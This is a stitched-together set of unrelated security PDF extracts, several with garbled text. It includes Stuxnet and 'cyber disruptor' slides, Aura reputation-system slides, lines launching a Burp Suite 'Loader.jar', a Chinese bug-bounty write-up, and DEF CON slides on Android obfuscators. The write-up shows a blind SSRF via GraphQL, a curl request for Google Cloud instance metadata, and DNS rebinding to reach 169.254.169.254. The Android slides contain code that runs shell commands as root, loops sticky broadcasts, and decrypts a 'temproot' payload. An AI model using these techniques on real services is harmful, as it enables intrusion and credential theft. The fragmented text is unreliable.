Theory Proof of Concept The Stuxnet Attacks 31 Speculation The Stuxnet Attacks Theory Proof of Concept 2007 32 Sophisticated Real The Stuxnet Attacks Compared to What? 33 $400K – $1.5 Mil Well Financed 4 The Stuxnet Attacks – Why Sophisticated? 34 Driver Signing The Stuxnet Attacks – Why Sophisticated? 35 The Stuxnet Attacks – Why Sophisticated? JMicron (智微有限公司) Source: Google Maps Realtek Semiconductor Corp. (瑞昱半導體股份有限公司) Source: Wolfram Alpha Innovation Road,Hsinchu Science Park, Hsinchu, Taiwan 36 The Stuxnet Attacks – Why Sophisticated? 37 New Trend in 2010 The Stuxnet Attacks – Why Sophisticated? 38 Industrial Control Systems (ICS) 807 Hz and 1210 Hz Centrifuge The Stuxnet Attacks – Why Sophisticated? Enriched 90% 39 Industrial Control Systems (ICS) 807 Hz and 1210 Hz Centrifuge 1400 Hz 2 Hz The Stuxnet Attacks – Why Sophisticated? 40 Driver Signing The Stuxnet Attacks – Why Sophisticated? 41 2008 2009 2010 2011 Stuxnet Timeline Source: Vanity Fair Apr 2011 Industrial Control Systems (ICS) Supervisory Control and Data Acquisition 42 2008 2009 2010 2011 Stuxnet Timeline Source: Vanity Fair Apr 2011 43 2008 2009 2010 2011 Stuxnet Timeline Source: Vanity Fair Apr 2011 44 2008 2009 2010 2011 Stuxnet Timeline Source: Vanity Fair Apr 2011 Supervisory Control and Data Acquisition 45 2008 2009 2010 2011 Stuxnet Timeline Source: Secure List Jul 21 2010 46 2008 2009 2010 2011 Stuxnet Timeline Source: Washington Post Sep 28 2010 30,000 Iranian Computers infected Source: The Economist Sep 2010 ½ of all Centrifuges are idle 47 2008 2009 2010 2011 Stuxnet Timeline Source: NTI Nov 23 2010 Enriched 48 2008 2009 2010 2011 Stuxnet Timeline Source: NTI Nov 23 2010 Enriched 49 2008 2009 2010 2011 Stuxnet Timeline Source: NYT Nov 29 2010 Dr. Majid Shahryari Source: Crethi Plethi Blog http://www.crethiplethi.com/ahmadinejad-blames-west-and-israel-for-assassination-of-iranian-academics/islamic-countries/iran-islamic-countries/2010/ Dr. Fereidun Abbasi Source: CNN http://www.iranian.com/main/2010/nov/majid-shahriari Assassinated Assassination Attempt 50 Stuxnet Campaign Natanz Back Online Iranian Scientists Killed and Wounded 2008 2009 2010 Stuxnet Campaign Planning Stuxnet First Strike Stuxnet Second Strike Public Discovery Realtek Certificate Revoked Stuxnet JMicron Certificate Installed DDOS Attack against SCADA Forums Natanz Taken Offline JMicron Certificate Revoked 1000 Centrifuges Destroyed 51 Stuxnet Assessment Source: NYT Jan 15 2011 Nuclear Program Delayed until 2015 No Affect Source: ISIS Feb 15 2011 52 Driver Signing Theory Fact The Stuxnet Attacks – What about Them? 53 Cyber Security Disruptors 54 1997 Clayton Christensen Theory What is a Cyber Security Disruptor? 55 Clayton Christensen Innovation Business Failure What is a Cyber Security Disruptor? 56 Clayton Christensen Innovation Catalysts What is a Cyber Security Disruptor? 57 Clayton Christensen Innovation Momentum What is a Cyber Security Disruptor? 58 Clayton Christensen Innovation Wither and Die What is a Cyber Security Disruptor? 59 Clayton Christensen What is a Cyber Security Disruptor? 60 Clayton Christensen 5 ¼ Inch 8 Inch What is a Cyber Security Disruptor? 61 Clayton Christensen 5 ¼ Inch 8 Inch What is a Cyber Security Disruptor? The Little Tramp 62 Clayton Christensen 5 ¼ Inch 8 Inch What is a Cyber Security Disruptor? 63 Clayton Christensen 5 ¼ Inch 8 Inch What is a Cyber Security Disruptor? 64 Clayton Christensen Shugart Associates Micropolis Priam Quantum 5 ¼ Inch 8 Inch What is a Cyber Security Disruptor? 65 Clayton Christensen 5 ¼ Inch 8 Inch What is a Cyber Security Disruptor? Micropolis 66 Clayton Christensen Innovation What is a Cyber Security Disruptor? 67 Cyber Security Disruptor Technology Event Catalysts 5-10 Years What is a Cyber Security Disruptor? 68 10 Cyber Security Disruptors 69 Concept Impact Cyber Security Disruptor 70 Cyber Security Disruptor Cyber Security Disruptor 71 Event Horizon Cyber Security Disruptors Timeline 72 Cyber Security Disruptors Timeline 73 Cyber Security Disruptors Timeline 74 Early Adopters Cyber Security Disruptors Review 75 Concept Impact 2015 Blacklists become unmanageable at the Enterprise level 2010 Disruptor: TLDS & IDNS 76 IP Management just became very complex Concept Impact 2013 System Administrator Outsourcing 2010 2-5 Years Disruptors: DNSSEC & IPv6 77 Concept Impact Intellectual Property is seriously at risk. 2013 2010 Early Adopters Disruptors: APT 78 Cyber Security Disruptors Timeline 79 Cyber Security Disruptors Early Adopters 80 Technology Event Cyber Security Disruptor 81 Conclusion Operation Aurora Impact Stuxnet Impact Wikileaks Impact Cyber Security Disruptors 82 Recap Cyber Fraud Cyber Security Essentials Malware Analyst’s Cookbook 2011 Cyber Threats and Trends
pdf
根据网上公开内容编写,漏洞通告: https://mp.weixin.qq.com/s/OGBP0OkVdC2bZ0lzK2ZdjA 工具效果: 漏洞无损检测: 命令执行: 数据库文件读取: 文件上传: 代码加密: 流量解密: 命令执行流量特征(Base65):
pdf
Aura A peer-to-peer reputation system Cat Okita, 2003 Reputation Systems • What is a Reputation System? – Livejournal/Friendster, eBay, Advogato, Slashcode • Why do you care? • What could you use this for? – Establishing trust, performance metrics, meme propagation, spam filtering Challenges • Authentication • Trust • Non-repudiation Design Considerations • Fast, resource efficient • Secure - Difficult to corrupt information or impersonate others • Portable - Easy to use from any location • Simple to use and extend (plugins) • Independent - not dependant on a centralized server Attacks • Information poisoning – Flooding – Trojans – Identity theft – Impersonation – DoS Implementation • Peer-to-peer – Local datastore – Can also run as an aggregator • Reputation – overall personal and general, or by specific area • Gossip – information about indirect entities A quick check of Reputation • Picking a mailer – Stable, fast, secure? • Finding out about a poster to a mailing list – Credibility: Crazy, expert, unknown? • Filtering – Personal or server level Configuration • Text-based configuration – Use Templates to describe data format to exchange details • Requires use of public/private key cryptography Future Plans • Pretty GUI • Better cross-platform portability • Improved statistical reporting • Implementation of group keys • Trigger automation Finis • Available at: – http://www.geekness.net/tools/aura • Email to: – [email protected] • Questions???
pdf
0x00 0x01 cd /Users/miku/Documents/hack/attack-tools/burpsuite/Burp2020.91 xxx/xxx/xx/jdk14/bin/java -jar Loader.jar export JAVA_HOME=xxxx/xxx/xxx/jdk14 export PATH=xxxx/xxx/xxxx/bin:$PATH cd /Users/miku/Documents/hack/attack-tools/burpsuite/Burp2020.91 xxx/xxx/xx/jdk14/bin/java -jar Loader.jar /Library/Java/JavaVirtualMachines/ 0x02 0x03 0x04
pdf
0x01 起因 前两天和朋友聊天,他发现了⼀家在hackerone上赏⾦颇⾼的Program,并且发现了其中的漏洞 让⽼夫羡慕不已 去hackerone看了看⼚商信息,漏洞奖励确实是⾮常诱⼈的 ⽽且BugBounty Program Launched on Apr 2015.... 8年hackerone的⽼⼚商了,业务点本来就不多,⼜被世界各国⽜逼的⿊客们挖了⼋年,难度可想⽽知 但是为了赏⾦迎难⽽上,才应该是真正的漏洞猎⼈该有的⻛格。 0x03 ⾛业务点万念俱灰到发现敏感请求 从Hackerone的Program scope中搜集了⼀下业务信息,虽然展开测试 测试了常规的⼀些WEB漏洞,IDOR等漏洞,发现完全没有⼀点机会,Filter和鉴权写的⾮常过硬,⽽且⽤户都是通 过uuid类型来传参进⾏身份鉴权 ⾸先⽬标没有IDOR,其次哪怕有IDOR也⾮常难以利⽤ 从晚上九点测到了第⼆天凌晨两点,啥也没测出来,万念俱灰准备洗洗睡了 但是⼼想还是看看Burp的HttpHistory吧,万⼀有⾃⼰没注意的敏感请求呢 结果没想到。。。还真就看到了⼀个graphql的敏感查询请求 url在json中传参,测啥漏洞,我想⼤家应该都懂 ⽴⻢⽤Burp的Collaborator测试dnslog POST /agw/graphql?op=UrlReachableVerifierQuery&client_trace_id=09bee58d-8358-4f00-acc0- 8d26d0018d32,rst:1678201703792 HTTP/1.1 Host: xxxxx Cookie: xxxx User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0 Accept: */* Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/json Authorization: xxxxx Content-Length: 386 Origin: https://xxxxx Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-site Te: trailers Connection: close {"operationName":"UrlReachableVerifierQuery","variables":{ "url":"http://xxxx.com/"},"query":"query UrlReachableVerifierQuery($url: String!) {\n verifyUrlReachable(url: $url) {\n   ... on UrlReachableResult {\n     url\n       __typename\n   }\n   ... on GenericError {\n     errorCode\n     message\n     __typename\n   }\n   __typename\n }\n}\n"} 果不其然,收到了来⾃两个IP的Http Request,但是⽬标的回显少的可怜 只有url,__typename两个键的JSON返回了回来 查了⼀下,两台发送请求的服务器都部署在GoogleCloud,瞬间就让⼈兴奋了起来 但是想了⼀下⼜萎了,GoogleCloud meta data(元数据)的获取不像国内的某某云,其必须带有特定的Header 这个SSRF点既没有回显也没法通过构造恶意⻚⾯的js发送带有header的数据,真是操蛋 request example: curl "http://metadata.google.internal/computeMetadata/v1/instance/image" -H "Metadata- Flavor: Google" 思前想后,寻思也算个盲SSRF,先交了再说 0x04 秒忽略NoBugBounty到利⽤Graphql发掘新的攻击⾯ 交完这个盲SSRF点,睡了⼀觉起来,发现直接被⼚商的安全团队给忽略了 真是操蛋,盲SSRF看样不太⾏,混不到钱,我们必须得发掘新的攻击⾯ (不了解Graphql的兄弟可以看下下⾯这张图,⽣动地解释了Restful类型接⼝和Graphql接⼝的区别,上⽅为 restful接⼝请求样式,下⽅为graphql的接⼝请求样式) 既然这个点是基于Graphql进⾏查询的 那么我们可以⾃定义查询的column(param),如果存在该column,那么就会返回这个参数的有效结果,⼆话不说 开始FUZZ 最终结果让⼈⾮常寒⼼,啥勾⼋东⻄也没有(这⾥当时的图忘存了) 再次陷⼊万念俱灰,但是仔细观察graphql查询请求的op参数,让我有了⼀点想法 op字段为UrlReachableVerifierQuery,我们为啥不试试拿他当query的column呢? 结果发现测试到UrlReachable这个字段时,reponse中出现了有效回显"Reachable" nice,现在我们可以⽤这个接⼝来探测内⽹端⼝开放情况了 我直接使⽤GoogleCloud的meta data地址来探测端⼝连通性 没想到直接告诉我了个"Not_Reachable"。。 那么就得⽤点⽅法绕过了 0x05 绕过SSRF限制探测内⽹ 试了试302跳转,短连接等⽅式,都不好使 于是寄出dns rebinding 在ceye上配置好dns rebinding的IP地址(googleCloud meta data的ip地址为169.254.169.254,借此来验证内 ⽹连通性) 直接dns rebinding来绕过SSRF限制 发现我们成功获得了“Reachable”的结果! 接下来就是常规操作了,探测端⼝连通性 80端⼝reachable,其他端⼝Not_Reachable,已经证明了此处SSRF可探测内⽹ 0x06 再次提交漏洞到triage 再次提交后漏洞得到了Triage
pdf
08.10.2014 ANDROID HACKER PROTECTION LEVEL 0 TIM “DIFF” STRAZZERE - JON “JUSTIN CASE” SAWYER Defcon 22 + some blackphone stuff • CTO of Applied Cybersecurity LLC • Professional Exploit Troll • Has big mouth • @TeamAndIRC • github.com/CunningLogic ! • Research & Response Engineer @ Lookout • Obfuscation Junkie • Pretends to know as much as JCase • @timstrazz • github.com/strazzere WHO ARE WE JCASE DIFF More importantly - why should you care? WHY ARE WE HERE • Obfuscation is “magical” ! • Quantifying the challenge is hard,
 mainly marketing material in 
 Google results
 • Good devs use it
 • “Interesting” devs use it
 • Bad devs use it
 • Understanding apps is hard, let’s classify
 everything as bad and just blog! “So good, even malware authors use us!” WHAT IS OUT THERE • Then - • Dex Education 101 - Blackhat 2012 • Anti-decompilation tricks • Anti-analysis tricks • Demo/Release POC packer • General Optimizers / Minimal Obfuscators
 • A little bit after… • Integration of tricks, release of specific tools • One off tools targeting environments/toolsets
 • Now - • Most anti-decompilation/analysis tricks fixed in mainstream tools
 (baksmali, dex2jar, IDA Pro, radar) • Main stream commercial packers, protectors and obfuscates So - UPX and other stupid stuff? PACKERS, PROTECTORS? • Optimizers / Obfuscators • Good practice for devs • Removes dead code / debug code • Potentially encrypt / obfuscate / hide via reflection public!void!onClick(DialogInterface!arg7,!int!arg8)!{! ! try!{! ! ! Class.forName("java.lang.System").getMethod("exit",!Integer.TYPE).invoke(null,!Integer.valueOf(0));! ! ! return;! ! }!catch:(Throwable!throwable)!{! ! ! throw!throwable.getCause();! ! }! } public!void!onClick(DialogInterface!arg7,!int!arg8)!{! ! try!{! ! ! Class.forName(COn.ˊ(GCOn.ˋ[0xC],!COn.ˋ[0x12],!GCOn.ˋ[0x10])).getMethod(COn.ˊ(i1,!i2,!i2!|!6),!Integer.TYPE)! ! ! ! .invoke(null,!Integer.valueOf(0));! ! ! return;! ! }!catch:(Throwable!throwable)!{! ! ! throw!throwable.getCause();! ! }! } So - UPX and other stupid stuff? PACKERS, PROTECTORS? • “Protectors” • Classification similar to packers - manipulating “bad” code into workable
 things post execution • Performs anti-analysis/emulator tricks Stub application Broken Code 1. Executed
 Stub fixes
 code Fixed Code 2. System/User events 3. Happy and normal So - UPX and other stupid stuff? PACKERS, PROTECTORS? • Packers • Similar to UPX and others - launcher stub and unfolding main application
 into memory • Performs anti-analysis/emulator tricks Stub application Hidden or
 Encrypted
 actual code 1. Executed
 Stub unpacks
 code Stub application Unpacked code 2. System/User events 3. Proxy via ClassPaths/etc
 to real code OPTIMIZERS & OBFUSCATORS Optimizers & Obfuscators PROGUARD • ~8 years older than Android
 • Created by Eric Lafortune • Specifically designed for Java
 • Recommended By Google for
 Android developers ! • Optimizer
 • Shrinker ! • Obfuscator (barely) ! • Cost: $FREE
 • Bundled in Android SDK Java Code javac Java Class Files proguard Optimized/Shrunk
 Class Files dx classes.dex file What we attack
 at the end Optimizers & Obfuscators PROGUARD • Removes unnecessary/unused code
 • Merges identical code blocks
 • Performs ‘peep hole’ optimizations
 • Removes debug information
 • Renames objects (compacting names)
 • Restructures code What does it do? Optimizers & Obfuscators PROGUARD Class Structure List Optimizers & Obfuscators PROGUARD Class “source” Data
 (debug info) #GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG! ! .class!public!Utils! .super!Object! .source!"Utils.java"! #GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG! ! .class!public!ak! .super!Object! .source!“": Optimizers & Obfuscators PROGUARD Line Numbers
 (debug info) .method!public!static!exec(String,!Boolean)String! !!!!!!!!!!.registers!12! !!!!!!!!!!.param!p0,!"cmd"! !!!!!!!!!!.param!p1,!"root"! !!!!!!!!!!.prologue! !!!!!!!!!!.line!163! !!!!!!!!!!constGstring!!!!!!!!!!!!v7,!"mksh"! !!!!!!!!!!.line!164! !!!!!!!!!!.local!v7,!shell:Ljava/lang/String;! !!!!!!!!!!invokeGvirtual!!!!!!!!!!BooleanG>booleanValue()Z,!p1! !!!!!!!!!!moveGresult!!!!!!!!!!!!!v8! !!!!!!!!!!ifGeqz!!!!!!!!!!!!!!!!!!v8,!:14! :10! !!!!!!!!!!.line!165! !!!!!!!!!!constGstring!!!!!!!!!!!!v7,!"su" .method!public!static!a(String,!Boolean)String! !!!!!!!!!!.registers!8! !!!!!!!!!!constGstring!!!!!!!!!!!!v0,!"mksh"! !!!!!!!!!!invokeGvirtual!!!!!!!!!!BooleanG>booleanValue()Z,!p1! !!!!!!!!!!moveGresult!!!!!!!!!!!!!v1! !!!!!!!!!!ifGeqz!!!!!!!!!!!!!!!!!!v1,!:14! :10! !!!!!!!!!!constGstring!!!!!!!!!!!!v0,!"su" Optimizers & Obfuscators PROGUARD !!!public!static!String!exec(String!cmd,!Boolean!root)!{! !!!!!!!!BufferedReader!bufferedReader;! !!!!!!!!DataOutputStream!dataOutputStream;! !!!!!!!!Process!process;! !!!!!!!!String!string!=!"sh";! !!!!!!!!if(root.booleanValue())!{! !!!!!!!!!!!!string!=!"su";! !!!!!!!!}! ! !!!!!!!!StringBuilder!stringBuilder!=!new!StringBuilder();! !!!!!!!!try!{! !!!!!!!!!!!!process!=!Runtime.getRuntime().exec(string);! !!!!!!!!!!!!dataOutputStream!=!new!DataOutputStream(process.getOutputStream());! !!!!!!!!!!!!dataOutputStream.writeBytes(cmd!+!"\n");! !!!!!!!!!!!!bufferedReader!=!new!BufferedReader(! ! ! ! new!InputStreamReader(process.getInputStream()));! !!!!!!!!}! !!!!!!!!catch(IOException!iOException)!{! !!!!!!!!!!!!goto!label_36;! !!!!!!!!}! ! !!!!!!!!try!{! !!!!!!!!!!!!dataOutputStream.writeBytes("exit\n");! !!!!!!!!!!!!dataOutputStream.flush();! !!!!!!!!!!!!String!string1!=!System.getProperty("line.separator");! !!!!!!!!!!!!while(true)!{! !!!!!!!!!!!!!!!!String!string2!=!bufferedReader.readLine();! !!!!!!!!!!!!!!!!if(string2!==!null)!{! !!!!!!!!!!!!!!!!!!!!break;! !!!!!!!!!!!!!!!!}! ! !!!!!!!!!!!!!!!!stringBuilder.append(string2);! !!!!!!!!!!!!!!!!stringBuilder.append(string1);! !!!!!!!!!!!!} !!!!public!static!String!a(String!arg6,!Boolean!arg7)!{! !!!!!!!!Process!process;! !!!!!!!!String!string!=!"mksh";! !!!!!!!!if(arg7.booleanValue())!{! !!!!!!!!!!!!string!=!"su";! !!!!!!!!}! ! !!!!!!!!StringBuilder!stringBuilder!=!new!StringBuilder();! !!!!!!!!try!{! !!!!!!!!!!!!process!=!Runtime.getRuntime().exec(string);! !!!!!!!!!!!!DataOutputStream!dataOutputStream!=!new!DataOutputStream(! ! ! ! process.getOutputStream());! !!!!!!!!!!!!dataOutputStream.writeBytes(String.valueOf(arg6)!+!"\n");! !!!!!!!!!!!!BufferedReader!bufferedReader!=!new!BufferedReader(! ! ! ! new!InputStreamReader(process.getInputStream()));! !!!!!!!!!!!!dataOutputStream.writeBytes("exit\n");! !!!!!!!!!!!!dataOutputStream.flush();! !!!!!!!!!!!!String!string1!=!System.getProperty("line.separator");! !!!!!!!!!!!!while(true)!{! !!!!!!!!!!!!!!!!String!string2!=!bufferedReader.readLine();! !!!!!!!!!!!!!!!!if(string2!==!null)!{! !!!!!!!!!!!!!!!!!!!!break;! !!!!!!!!!!!!!!!!}! ! !!!!!!!!!!!!!!!!stringBuilder.append(string2);! !!!!!!!!!!!!!!!!stringBuilder.append(string1);! !!!!!!!!!!!!} Original Java Source Decompiled ProGuarded Output Optimizers & Obfuscators PROGUARD • Decreases dex file size
 • Increases app speed/performance
 • Decreases memory usage
 • Removes debug information
 (slightly increase reversing complexity)
 • Doesn’t do much obfuscation
 • “Hacker Protection Factor 0” What is it good for? Optimizers & Obfuscators DEXGUARD • Son of ProGuard
 • Create by Eric Lafortune
 • “Standard” protection
 • Optimizer
 • Shrinker
 • Obfuscator/Encryptor
 • Cost: $650 - $1300 Java Code javac Java Class Files dexguard Optimized/Shrunk/Obfuscated
 Class Files dx classes.dex file What we attack
 at the end Optimizers & Obfuscators DEXGUARD • Everything ProGuard does
 • Automatic reflection
 • String encryption
 • Asset & library encryption
 • Class encryption (packing)
 • Application tamper detection What does it do? Optimizers & Obfuscators DEXGUARD Automatic Reflection public!void!onClick(DialogInterface!arg2,!int!arg3)!{! ! System.exit(0);! } public!void!onClick(DialogInterface!arg7,!int!arg8)!{! ! try!{! ! ! Class.forName("java.lang.System").getMethod("exit",!Integer.TYPE).invoke(null,!Integer.valueOf(0));! ! ! return;! ! }!catch:(Throwable!throwable)!{! ! ! throw!throwable.getCause();! ! }! } public!void!onClick(DialogInterface!arg7,!int!arg8)!{! ! try!{! ! ! Class.forName(COn.ˊ(GCOn.ˋ[0xC],!COn.ˋ[0x12],!GCOn.ˋ[0x10])).getMethod(COn.ˊ(i1,!i2,!i2!|!6),!Integer.TYPE)! ! ! ! .invoke(null,!Integer.valueOf(0));! ! ! return;! ! }!catch:(Throwable!throwable)!{! ! ! throw!throwable.getCause();! ! }! } String Encryption Optimizers & Obfuscators DEXGUARD String Encryption public!static!void!kaBoom(Context!context)!{! ! while(true)!{! ! ! context.sendStickyBroadcast(new!Intent("android.net.wifi.STATE_CHANGE"));! ! }! } MainActivity.鷭!=!new!byte[]{0x4C,!0xE,!2,!9,!N7,!0x10,!N54,!0x3E,!0x17,!N9,!N44,!0x4C,!0xA,!0x1B,!N7,!0x13,!N98,!! ! 6,!0x1B,!N76,!0x17,!0x4C,!0xE,!2,!9,!N7,!0x10,!N54,!0x3E,!0x17,!N9,!N44,!0x42,!0xD,!0xD,!9,!N11,!0x13,!8,!! ! N55,!0x4D,!N5,!6,!0x14,!0xF,!N9,!0x15,!0xF,!N67,!0x4D,!N3,!N64,!0x26,!N22,!0x17,!0x4C,!0xE,!2,!9,!N7,!0x10,!! ! N54,!0x3E,!0x17,!N9,!N44,!0x42,!0xD,!0xD,!9,!N11,!0x13,!8,!N55,!0x4D,!N5,!6,!0x14,!0xF,!N9,!0x15,!0xF,!N67,!! ! 0x4D,!N3,!N50,!0x3C,!7,!0xA,!0x10,!0x12,!3,!0xA,!3,!N3,!0x15,!9,!0xA,!N63,!0x3B,!0x17,!3,!5,!8,!0xD,!N62,!! ! 0x4D,!N3,!0x12,!0x19,!4,!3,!0xD,!1,!0x2E,!0x13,!N5,!8,!N3,!0xD,!0xD,!0xA,!N3,!N60,!0x1F,!6,!8,!N13,!0x17,!! ! 0x4C,!0xE,!2,!9,!N7,!0x10,!N54,!0x3E,!0x17,!N9,!N44,!0x42,!0xD,!0xD,!9,!N11,!0x13,!8,!N55,!0x4D,!N5,!6,!! ! 0x14,!0xF,!N9,!0x15,!0xF,!N67,!0x4D,!N3,!3,!N69,!0x17,!0x3D,!5,!0x1B,!N11,!N42,!0x45,!N3,!0x1A,!9,!N13:…!}; public!static!void!鷭(MainActivity!arg4)!{! ! while(true)!{! ! ! ((Context)arg4).sendStickyBroadcast(new!Intent(MainActivity.鷭(0xFFFFFE84,!0x23,!0x276)));! ! }! } Original Code Encrypted Strings in Main Array New Obfuscated Code Optimizers & Obfuscators DEXGUARD String Encryption Code Example private!static!String!鷭(int!arg6,!int!arg7,!int!arg8)!{! ! int!i2;! ! int!i1;! ! arg7!+=!0x3E;! ! byte[]!array_b!=!MainActivity.鷭;! ! int!i!=!0;! ! arg6!+=!0x199;! ! byte[]!array_b1!=!new!byte[arg6];! ! if(array_b!==!null)!{! ! i1!=!arg6;! ! i2!=!arg8;! ! }!else!{! ! ! label_12:! ! ! array_b1[i]!=!((byte)arg7);! ! ! ++i;! ! ! if(i!>=!arg6)!{! ! ! ! return!new!String(array_b1,!0);! ! ! }!else!{! ! ! ! i1!=!arg7;! ! ! ! i2!=!array_b[arg8];! ! ! }! ! }! ! ! ++arg8;! ! arg7!=!i1!+!i2!G!8;! ! goto!label_12;! } private!static!String!decrypt(int!length,! ! ! ! ! ! ! !!int!cChar,! ! ! ! ! ! ! !!int!pos)!{! ! int!i!=!0;! ! int!j!=!0;! ! int!k!=!0;! ! cChar!+=!0x3E;! ! length!+=!0x199;! ! byte[]!arrENC!=!new!byte[length];! ! while(i!<!length)!{! ! ! arrENC[i]!=!((byte)cChar);! ! ! k!=!cChar;! ! ! if(pos!<!STRINGS.length)! ! ! ! j!=!STRINGS[pos];! ! ! ++pos;! ! ! cChar!=!k!+!j!G!8;! ! ! ++i;! ! }! ! return!new!String(arrENC,!0);! } Obfuscated Decryption Function Deobfuscated Optimizers & Obfuscators DEXGUARD Asset & Library Encryption ! AssetManager!assetManager!=!context.getAssets();! : File!output!=!new!File("/data/data/com.cunninglogic.bookexample/temproot");! ! InputStream!inputStream!=!assetManager.open("temproot");! ! Cipher!cipher!=!Cipher.getInstance(“AES/CFB/NoPadding");! ! ! byte[]!myKey!=!new!byte[]{N114,!N53,!N9,!N86,!N13,!N14,!N115,!0x6F,!N41,!N39,!! ! ! 5,!0x28,!N46,!0x74,!N10,!N20};! ! SecretKeySpec!secretKeySpec!=!new!SecretKeySpec(myKey,!“AES");! ! ! //!Initialization!vector!! ! byte[]!myIV!=!new!byte[]{N69,!0x49,!N91,!N7,!N53,!2,!N71,!N97,!N48,!0x62,!N71,!! ! ! 0x78,!0x11,!N90,!N85,!N107};! ! int!i!=!myIV[7]!&!0x2D;! ! myIV[i]!=!((byte)(i!|!0x52));! ! ! cipher.init(Cipher.DECRYPT_MODE,!secretKeySpec,!myIV);! ! CipherInputStream!cipherInputStream!=!new!CipherInputStream(inputStream,!! ! ! cipher);! ! FileOutputStream!fileOutputStream!=!new!FileOutputStream(output);! ! byte[]!buf!=!new!byte[1024];! ! int!read;! ! while(read!=!cipherInputStream.read(buf)!|=!G1)!{! ! ! fileOutputStream.write(buf,!0,!read);! ! }! ! ! inputStream.close();! ! cipherInputStream.close();! ! fileOutputStream.flush();! ! fileOutputStream.close(); Optimizers & Obfuscators DEXGUARD Class Encryption File!output!=!new!File(“/out/put/path/decrypted.zip");!//!Path!to!write!zipfile!to! ! byte[]!myKey!=!new!byte[]{!...!};!//!Key! byte[]!myIV!=!new!byte[]{!...!};!//!IV! byte[]!encDex!=!new!byte[]{!...!};!//!Encrypted!zip/dex! ! int!inputLen!=!0x7FD;!//!inputLen! int!inputOffset!=!0x14;!//!inputOffset! !!!!!! Cipher!cipher!=!Cipher.getInstance("AES/CFB/NoPadding");! ! SecretKeySpec!secretKeySpec!=!new!SecretKeySpec(myKey,!"AES");! IvParameterSpec!ivSpec!=!new!IvParameterSpec(myIV);! cipher.init(Cipher.DECRYPT_MODE,!secretKeySpec,!ivSpec);! byte[]!decDex!=!cipher.doFinal(encDex,!inputOffset,!inputLen); Optimizers & Obfuscators DEXGUARD Class Encryption byte[]!zipHeader!=!new!byte[]{0x50,!0x4B,!0x03,!0x04};! byte[]!zipbuf!=!new!byte[4];! int!i!=!0;! for!(i!=!0;!i!<!decDex.length!G!3;!++i)!{!//!Locate!header!of!the!zip!file! ! zipbuf[0]!=!decDex[i];! ! zipbuf[1]!=!decDex[i!+!1];! ! zipbuf[2]!=!decDex[i!+!2];! ! zipbuf[3]!=!decDex[i!+!3];! ! if!(Arrays.equals(zipHeader,!zipbuf))!{! ! ! break;! ! }! }! !! byte[]!outDex!=!new!byte[decDex.length!G!i];! int!j!=!0;! while!(!(j!==!outDex.length))!{! ! outDex[j]!=!decDex[i];! ! ++j;! ! ++i;! }! !!!!!!!!!!!!! ByteArrayInputStream!bis!=!new!ByteArrayInputStream(outDex);! FileOutputStream!fileOutputStream!=!new!FileOutputStream(output);! byte[]!buf!=!new!byte[4*1024];! int!read;! while!((read!=!bis.read(buf))!!=!G1)!{! ! fileOutputStream.write(buf,!0,!read);! } Optimizers & Obfuscators DEXGUARD • May increase dex file size
 • May decrease app speed
 • May increase memory usage
 • Removes debug information
 • Automatic string encryption
 • Asset, Library, Class encryption
 • Best Feature: Automatic reflection (combined with string enc)
 • Moderately priced & easy to use
 • Reversible with moderate effort ! • “Hacker Protection Factor 1” Optimizers & Obfuscators ALLATORI • Optimizer
 • Shrinker ! • Obfuscator ! • Watermarker ! • Cost: $290 ! • Free Academic Version Java Code javac Java Class Files Allatori Optimized/Shrunk/Obfuscated
 Class Files dx classes.dex file What we attack
 at the end Optimizers & Obfuscators ALLATORI • Name obfuscation
 • Control flow flattening/obfuscation
 • Debug info obfuscation
 • String encryption What does it do? Optimizers & Obfuscators ALLATORI public class OnBootReceiver extends BroadcastReceiver { @Override public void onReceive(Context context, Intent intent){ if (!new File("/system/xbin/su").exists()) { if (new File("/data/data/com.cunninglogic.weaksauce/temp/onboot").exists()) Weak.peppers(context); } } } public!void!onReceive(Context!arg0,!Intent!arg1)!{! ! if(!new!File(K.A("L\u0019\u001A\u0019\u0017\u000F\u000EE\u001B\b\n\u0004L\u0019\u0016")).exists()!&&! ! ! (new!File(K.A(“L\u000E\u0002\u001E\u0002E\u0007\u000B\u0017\u000BL\t\f\u0007M\t\u0016\u0004\r\u0003\r\r \u000F\u0005\u0004\u0003\u0000D\u0014\u000F\u0002\u0001\u0010\u000B\u0016\t\u0006E\u0017\u000F\u000E\u001AL \u0005\r\b\f\u0005\u0017”)).exists()))!{: !!!!!!!!!!!!Weak.L(arg0);! ! }! } Optimizers & Obfuscators ALLATORI public!static!String!A(String!arg0)!{! ! int!i!=!arg0.length();! ! char[]!array_ch!=!new!char[i];! ! GGi;! ! int!i1;! ! for(i1!=!i;!i!>=!0;!i1!=!i)!{! ! ! int!i2!=!i1!G!1;! ! ! array_ch[i1]!=!((char)(arg0.charAt(i1)!^!0x63));! ! ! if(i2!<!0)!{! ! ! ! break;! ! ! }! ! ! ! i!=!i2!G!1;! ! ! array_ch[i2]!=!((char)(arg0.charAt(i2)!^!0x6A));! ! }! ! ! return!new!String(array_ch);! } public!static!String!decrypt(String!enc_text)!{! ! int!length!=!enc_text.length();! ! char[]!plaintext!=!new!char[length];! ! GGlength;! ! int!i;! ! for(i!=!length;!length!>=!0;!i!=!length)!{! ! ! int!j!=!i!G!1;! ! ! plaintext[i]!=!((char)(enc_text.charAt(i)!^!0x63));! ! ! if(j!<!0)!! ! ! ! break;! ! ! }! ! ! ! length!=!j!G!1;! ! ! plaintext[j]!=!((char)(enc_text.charAt(j)!^!0x6A));! ! }! ! ! return!new!String(plaintext);! } Obfuscated
 Encryption
 Function Deobfuscated
 Encryption
 Function Optimizers & Obfuscators ALLATORI • Free licenses for educational use!
 • Decreases dex file size
 • Increases app speed
 • Decreases memory usage
 • Removes debug code
 • Doesn’t do much in the ways of obfuscation
 • “ProGuard + string encryption”
 • Easily reversed ! • “Hacker Protection Factor 0.5” “PROTECTORS” Protectors APKPROTECT • Chinese Protector
